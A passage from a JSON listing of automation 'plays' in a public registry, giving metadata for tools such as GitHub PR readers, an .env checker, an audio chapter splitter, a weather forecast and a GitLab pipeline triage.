action","owner":{"kind":"user","slug":"elijahumana"},"registry_organization":"elijahumana","tags":["github","pull-request","mergeability","read-only"],"primary_domain":"domain-uncategorized","author":"elijahumana","version":"0.1.0","published_at":"2026-08-31T19:35:38.353477+00:00","visibility":"public","quality_score":0.900000035762787,"size_bytes":10564,"license":"Apache-2.0","stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["read_checks","parse_pr_url","read_reviews","read_statuses","verify_snapshot","read_pr_snapshot","read_merge_policy","read_requested_reviewers"]},"parameters":[{"name":"pr_url","type":"string","required":true,"description":"Canonical https://github.com/{owner}/{repo}/pull/{number} URL"}],"execution":{"adapters":[{"id":"theelilap/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:14671284486745e96149ca419cce8c55e623d32aa6503949124df433afe2fb6d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":7,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":4,"width":5,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[{"adapter":"github","steps":7,"methods":["checks/list-for-ref","pulls/get","pulls/list-requested-reviewers","pulls/list-reviews","repos/get-branch-rules","repos/get-combined-status-for-ref"],"display_name":"github","host":"api.github.com","kind":"rest","tools":968,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"theelilap/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":968},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/askme-org/env-doctor@0.1.0","reference":"askme-org/env-doctor@0.1.0","uri":"https://play.modiqo.ai/askme-org/env-doctor@0.1.0","manifest_uri":"https://play.modiqo.ai/askme-org/env-doctor@0.1.0","name":"env-doctor","title":"env-doctor","description":"Is your .env healthy? Checks key drift vs .env.example, scans for leaked secrets, validates KEY=VALUE format, and verifies optional","owner":{"kind":"org","slug":"askme-org"},"registry_organization":"askme-org","tags":["domain-devtools","job-env-validation","audience-developers","effect-read-only","tool-security"],"primary_domain":"domain-devtools","author":"askme-org","version":"0.1.0","published_at":"2026-08-31T07:00:50.304039+00:00","visibility":"public","quality_score":0.900000035762787,"size_bytes":8419,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["key_drift","leak_scan","type_hints","format_check"]},"parameters":[{"name":"env_file","type":"string","required":false,"default":".env","description":"Path to your .env file (default .env)"},{"name":"example_file","type":"string","required":false,"default":".env.example","description":"Path to your .env.example file (default .env.example)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5a327a7493196c3167b0444491d38d92298f49af5479df0d831c2bec75f67a37","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rahulparas/site-status@0.1.0","reference":"rahulparas/site-status@0.1.0","uri":"https://play.modiqo.ai/rahulparas/site-status@0.1.0","manifest_uri":"https://play.modiqo.ai/rahulparas/site-status@0.1.0","name":"site-status","title":"site-status","description":"Checks the live operational status of GitHub, npm, and Cloudflare using their public status JSON APIs. No authentication required. Read-only HTTP GETs only.\n","owner":{"kind":"user","slug":"rahulparas"},"registry_organization":"rahulparas","tags":["domain-devops","job-status-check","audience-developers","effect-readonly"],"primary_domain":"domain-devops","author":"rahulparas","version":"0.1.0","published_at":"2026-08-29T17:31:44.923239+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2881,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["fetch_status"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a319226f6f6de57f37ac54e8952fadbd5cea82ad3f699a02f6917c2758e5d103","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chetan/list-my-github-issues@0.1.1","reference":"chetan/list-my-github-issues@0.1.1","uri":"https://play.modiqo.ai/chetan/list-my-github-issues@0.1.1","manifest_uri":"https://play.modiqo.ai/chetan/list-my-github-issues@0.1.1","name":"list-my-github-issues","title":"list-my-github-issues","description":"Lists GitHub issues assigned to the authenticated gh user in one repository and renders them as a markdown table.","owner":{"kind":"user","slug":"chetan"},"registry_organization":"chetan","tags":[],"primary_domain":"domain-uncategorized","author":"Conikee","version":"0.1.1","published_at":"2026-08-26T23:35:52.735821+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4201,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["render_table","list_assigned_issues"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Repository as owner/name (gh --repo)","example":"modiqo/rote"},{"name":"state","type":"string","required":false,"default":"open","description":"Issue state filter (gh --state): open, closed, or all"},{"name":"limit","type":"string","required":false,"default":"100","description":"Maximum number of issues to fetch (gh --limit)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:72e6d3a97a511708f6f7ae4bd80e6f4bccf237717d0d9c257d25b49551a2df6c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"gh","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/chetan/posthog-project-dau@0.0.1","reference":"chetan/posthog-project-dau@0.0.1","uri":"https://play.modiqo.ai/chetan/posthog-project-dau@0.0.1","manifest_uri":"https://play.modiqo.ai/chetan/posthog-project-dau@0.0.1","name":"posthog-project-dau","title":"posthog-project-dau","description":"Retrieve daily active users (distinct persons per day) for a PostHog project over a lookback window via HogQL.","owner":{"kind":"user","slug":"chetan"},"registry_organization":"chetan","tags":["typescript","posthog-mcp","analytics","dau"],"primary_domain":"domain-uncategorized","author":"Chetan Conikee","version":"0.0.1","published_at":"2026-08-24T22:14:11.736899+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":4584,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["dau_by_day","org_context","project_list","auth_posthog_mcp"]},"parameters":[{"name":"days_lookback","type":"string","required":false,"default":"30","description":"Number of trailing days to include (integer, e.g. 30); window is [now - N days, now)"}],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"required"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:07a4c2ec9648da71913b05638fc8a2690a5984d55beacad9df468dff57cfdfc5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":3,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[{"adapter":"posthog-mcp","steps":4,"methods":["exec"],"display_name":"PostHog","host":"mcp.posthog.com/mcp","kind":"mcp","tools":1,"fingerprint":"mcp_3M5JDhpGsccg4pKGwfTswhSTpwb1","source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1},"cost":{"api_tokens":23406,"context_tokens":2678,"exploration_ms":5127,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/hubert/audio-semantic-chapters@0.3.0","reference":"hubert/audio-semantic-chapters@0.3.0","uri":"https://play.modiqo.ai/hubert/audio-semantic-chapters@0.3.0","manifest_uri":"https://play.modiqo.ai/hubert/audio-semantic-chapters@0.3.0","name":"audio-semantic-chapters","title":"audio-semantic-chapters","description":"Splits any audio/video file into semantic chapters as tagged MP3s: transcribes with Whisper, has a model divide the transcript into at most max_chapters sections, snaps each boundary to a quiet point so transitions are smooth, then verifies every cut by re-transcribing the head of each chapter.","owner":{"kind":"user","slug":"hubert"},"registry_organization":"hubert","tags":["audio","chapters","transcription","whisper","ffmpeg","mp3","split","process"],"primary_domain":"domain-uncategorized","author":"Hubert","version":"0.3.0","published_at":"2026-08-14T08:42:07.940731+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":21140,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["snap","encode","verify","cleanup","prepare","propose","bootstrap","transcribe"]},"parameters":[{"name":"audio","type":"string","required":true,"description":"Path to the source audio or video file"},{"name":"max_chapters","type":"string","required":false,"default":"16","description":"Maximum number of chapters to divide the recording into; fewer are used when the content has fewer natural divisions"},{"name":"out_dir","type":"string","required":false,"default":"","description":"Directory for the MP3s; empty means a folder named after the source file, beside it"},{"name":"model","type":"string","required":false,"default":"large-v3","description":"Whisper model: tiny, base, small, medium, large-v3"},{"name":"language","type":"string","required":false,"default":"auto","description":"Spoken language hint, or auto to detect"},{"name":"min_gap","type":"string","required":false,"default":"10","description":"Minimum seconds between chapter starts; closer boundaries are merged"},{"name":"head_seconds","type":"string","required":false,"default":"8","description":"Seconds re-transcribed at the head of each chapter during verification"},{"name":"work_root","type":"string","required":false,"default":"~/.cache/rote-audio-chapters","description":"Scratch root for the inlined module, WAV mixdowns, transcript and analysis; cached per source file. Supports ~."},{"name":"whisper_venv","type":"string","required":false,"default":"~/.local/share/rote-audio-chapters/venv","description":"Virtualenv holding the openai-whisper CLI (bin/whisper). Supports ~."},{"name":"claude_bin","type":"string","required":false,"default":"claude","description":"Claude Code CLI used for the semantic chapter division; needs its own authenticated session and spends that account's quota"},{"name":"auto_install_whisper","type":"string","required":false,"default":"false","description":"When true, create whisper_venv and pip install openai-whisper if absent instead of failing with instructions"},{"name":"keep_intermediate","type":"string","required":false,"default":"false","description":"When true, keep the decoded WAV mixdowns in work_root. They are the bulk of the cache (~700MB per hour of audio) and take seconds to rebuild, while the transcript they sit next to takes minutes - so they are discarded after a successful run by default. Failed runs always keep them for debugging."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0bc1fd84bce2d0f074322b8d6b5a12e2da2ff63d0d1a8ab4ee1a2ff1a22c4424","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":8,"width":1,"fan_out":4,"for_each_steps":1,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/robpumpaf/github-review-queue-by-stack@0.0.1","reference":"robpumpaf/github-review-queue-by-stack@0.0.1","uri":"https://play.modiqo.ai/robpumpaf/github-review-queue-by-stack@0.0.1","manifest_uri":"https://play.modiqo.ai/robpumpaf/github-review-queue-by-stack@0.0.1","name":"github-review-queue-by-stack","title":"github-review-queue-by-stack","description":"Rank open GitHub PRs that request the authenticated user's review, ordering stack bottoms first so each review unblocks its dependents.","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":["typescript","github","code-review"],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-08-13T14:54:01.777573+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":5135,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":5,"names":["repo_meta","pr_details","pr_reviews","auth_github","review_requests"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (the {owner} of {owner}/{repo})"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"limit","type":"string","required":false,"default":"50","description":"Max review-requested PRs to inspect (search per_page, GitHub caps at 100)"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dd0fac1bd09c3675d2e373928de87e09af3a382318cd5e070a1df1975549a242","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":4,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":1,"for_each_steps":2,"complexity":5,"apis":[{"adapter":"github","steps":5,"methods":["pulls/get","pulls/list-reviews","repos/get","search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":164109,"context_tokens":17040,"exploration_ms":6466,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/robpumpaf/city-weather-day-night-precip@0.0.1","reference":"robpumpaf/city-weather-day-night-precip@0.0.1","uri":"https://play.modiqo.ai/robpumpaf/city-weather-day-night-precip@0.0.1","manifest_uri":"https://play.modiqo.ai/robpumpaf/city-weather-day-night-precip@0.0.1","name":"city-weather-day-night-precip","title":"city-weather-day-night-precip","description":"Multi-day weather forecast for any coordinate with precipitation split into day (06:00-20:59) and night (21:00-05:59) totals in mm, plus max/min temperature, precipitation probability and max wind.","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":["typescript","open-meteo","weather","precipitation"],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-08-12T13:51:52.362969+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3948,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["forecast"]},"parameters":[{"name":"latitude","type":"string","required":true,"description":"Latitude in decimal degrees (north positive), e.g. 56.9496 for Riga","example":"56.9496"},{"name":"longitude","type":"string","required":true,"description":"Longitude in decimal degrees (east positive), e.g. 24.1052 for Riga","example":"24.1052"},{"name":"days","type":"string","required":false,"default":"7","description":"Number of forecast days, 1-16","example":"7"},{"name":"timezone","type":"string","required":false,"default":"auto","description":"IANA timezone for local day/night bucketing; \"auto\" resolves from the coordinate","example":"Europe/Riga"},{"name":"place","type":"string","required":false,"default":"","description":"Optional place label used only in the rendered heading","example":"Riga, Latvia"}],"execution":{"adapters":[{"id":"robpumpaf/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eaa01a2abba3152d4cb0d589c4bbb0d1e19f2c11f860a280b0c8b26c8e77a9ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":1,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[{"adapter":"open-meteo","steps":1,"methods":["get_v1_forecast"],"display_name":"open-meteo","host":"api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_2YgsU84PjXRHyP7ALsx5a5QE2FBy","source":"robpumpaf/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1},"cost":{"api_tokens":7025,"context_tokens":871,"exploration_ms":574,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/pumpurlabs/github-issue-createion@0.0.1","reference":"pumpurlabs/github-issue-createion@0.0.1","uri":"https://play.modiqo.ai/pumpurlabs/github-issue-createion@0.0.1","manifest_uri":"https://play.modiqo.ai/pumpurlabs/github-issue-createion@0.0.1","name":"github-issue-createion","title":"github-issue-createion","description":"Create a GitHub issue in a repository from a title and Markdown body","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":["github","issue","write"],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-06-29T16:08:19.911787+00:00","visibility":"public","quality_score":null,"size_bytes":4236,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b11882bc1f358c400e5ce691ab4e722e0d32b93369a1679405eb9038a25ecd1a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1194},"cost":{"api_tokens":4953,"context_tokens":1035,"exploration_ms":942,"saved_per_run":5988},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/theelilap/pr-manager-release-context@0.2.0","reference":"theelilap/pr-manager-release-context@0.2.0","uri":"https://play.modiqo.ai/theelilap/pr-manager-release-context@0.2.0","manifest_uri":"https://play.modiqo.ai/theelilap/pr-manager-release-context@0.2.0","name":"pr-manager-release-context","title":"pr-manager-release-context","description":"Gathers release-level commit/PR/file-change context from a local git repo and produces a structured changelog-grade technical handoff package for the bob-announcement-manager agent.","owner":{"kind":"user","slug":"theelilap"},"registry_organization":"theelilap","tags":[],"primary_domain":"domain-uncategorized","author":"Eli Lap","version":"0.2.0","published_at":"2026-05-28T17:15:10.571869+00:00","visibility":"public","quality_score":null,"size_bytes":6856,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:935c2d646bf63094f35f7ce7c1b1d07c85f2a4c38dd4417e432e9c6bb7bf9861","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/dharmkoshiya/secret-guard@0.0.3","reference":"dharmkoshiya/secret-guard@0.0.3","uri":"https://play.modiqo.ai/dharmkoshiya/secret-guard@0.0.3","manifest_uri":"https://play.modiqo.ai/dharmkoshiya/secret-guard@0.0.3","name":"secret-guard","title":"secret-guard","description":"","owner":{"kind":"user","slug":"dharmkoshiya"},"registry_organization":"dharmkoshiya","tags":[],"primary_domain":"domain-uncategorized","author":"dharmkoshiya","version":"0.0.3","published_at":"2026-09-06T14:49:55.638763+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":2338,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[{"name":"target_path","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cf395196145ea3d94f0ca3e0d1e738b5f6097834ad5bf3dfe9d1b3faf8519f32","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/princepanchani/gitlab-pipeline-triage@1.2.0","reference":"princepanchani/gitlab-pipeline-triage@1.2.0","uri":"https://play.modiqo.ai/princepanchani/gitlab-pipeline-triage@1.2.0","manifest_uri":"https://play.modiqo.ai/princepanchani/gitlab-pipeline-triage@1.2.0","name":"gitlab-pipeline-triage","title":"gitlab-pipeline-triage","description":"Your GitLab pipeline is red. Which job actually failed, is it your change or was\nit already broken, and does it even block the merge?\n\nTRY IT IN ONE LINE - no arguments, no token, no setup:\n\n    rote play run princepanchani/gitlab-pipeline-triage\n\nThat triages a real public MR whose pipeline really is failing. Then point it\nat your own, or at self-hosted GitLab with gitlab_host:\n\n    rote play run princepanchani/gitlab-pipeline-triage \\\n        project=your-group/your-repo mr=123\n\nWHY \"THE PIPELINE FAILED\" IS NOT ONE SENTENCE\n\nIt is four, and they belong to different people:\n\n  ALLOWED       A job marked allow_failure turns the pipeline red and blocks\n                nothing. Teams stop trusting red pipelines because nobody\n                separates these out.\n  INFRA         failure_reason=runner_system_failure or stuck_or_timeout is a\n                runner that died, not code that broke. A retry may clear it;\n                reading the diff never will.\n  PRE-EXISTING  A job that ALSO fails at this branch's MERGE BASE was broken\n                before a line changed, so it is not this author's move.\n  YOURS         What is left. This play names it.\n\nWHAT YOU GET\n\n  VERDICT     BLOCKED_BY_PIPELINE, ADVISORY_ONLY, PIPELINE_GREEN,\n              PIPELINE_PENDING, NO_PIPELINE, NOT_OPEN or UNAVAILABLE.\n  PER JOB     Name, stage, whether it blocks, category, evidence.\n  FIX ORDER   Cheapest first: retries, then what this change broke, then\n              what was already broken and is not yours.\n  WHOSE MOVE  One name.\n\nHOW IT REFUSES TO LIE TO YOU\n\n  - 74 self-check cases run BEFORE any live data is judged; if one fails the\n    triage is withheld. Half are negative assertions - things the logic must\n    refuse to say, such as calling an unknown failure_reason infrastructure.\n  - The baseline is the pipeline at the MERGE BASE, so \"already broken\" is\n    provable rather than assumed. If only a branch-tip pipeline exists and it\n    ran LATER than this one, the job is reported as failing on both with the\n    cause unproven - not blamed on whoever touched the target. If no baseline\n    can be read, nothing is attributed.\n  - Job logs are never read: every judgement comes from GitLab's own\n    structured fields, not unbounded author-controlled text.\n\nCOMPANION PLAYS. For whether the MR can merge at all use\nprincepanchani/gitlab-mr-gate; to sweep every open MR, gitlab-mr-queue.\n\nREAD ONLY - nothing is retried, cancelled, approved or merged. Needs only\npython3. No credentials on public projects; a private or self-hosted project\nuses your own GITLAB_TOKEN from the environment, sent as a header.\n\nKNOWN LIMITS: job-level triage needs the jobs endpoint, which some instances\ngate behind auth even for public projects; the play then reports UNAVAILABLE\nrather than guessing. A running pipeline is PIPELINE_PENDING, never a failure.\nOnly the newest pipeline is triaged.","owner":{"kind":"user","slug":"princepanchani"},"registry_organization":"princepanchani","tags":["domain-code-review","job-ci-triage","platform-gitlab","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-code-review","author":"Prince Panchani (github.com/PrinceXDev)","version":"1.2.0","published_at":"2026-09-06T14:05:27.425659+00:00","visibility":"public","quality_score":1,"size_bytes":25184,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["fetch_mr","fetch_jobs","self_check","compute_triage","validate_input","fetch_base_jobs","fetch_pipelines","fetch_base_pipeline"]},"parameters":[{"name":"project","type":"string","required":false,"default":"gitlab-org/cli","description":"GitLab project path or numeric id. Left alone it runs the built-in demo against a real public merge request whose pipeline is genuinely failing, so you can see a triage before deciding whether to point this at one of yours.","example":"gitlab-org/cli"},{"name":"mr","type":"string","required":false,"default":"3093","description":"Merge request iid, the number shown in the merge request URL. Part of the built-in demo when left alone; set it together with project.","example":"3093"},{"name":"gitlab_host","type":"string","required":false,"default":"gitlab.com","description":"GitLab hostname; set this for a self-hosted instance","example":"gitlab.com"},{"name":"timeout_s","type":"integer","required":false,"default":"25","description":"Per request HTTP timeout in seconds, clamped to 1-120","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ba3aa58002306e87f589620531e61ce9fe177a1c3a12675e4569ea7cb3020ba5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/seo-canonical-tag-crawler@4.15.26","reference":"ankurrawat/seo-canonical-tag-crawler@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/seo-canonical-tag-crawler@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/seo-canonical-tag-crawler@4.15.26","name":"seo-canonical-tag-crawler","title":"seo-canonical-tag-crawler","description":"Headless Browser & E2E Auditor for seo-canonical-tag-crawler: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","seo","canonical","tag","crawler"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:19.712592+00:00","visibility":"public","quality_score":1,"size_bytes":514341,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"none"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c9c11627bb0b54db903d87c05596069c462141aef750d25d7a08b9af77a8177b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"cloudflare","steps":1,"methods":["zones/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":f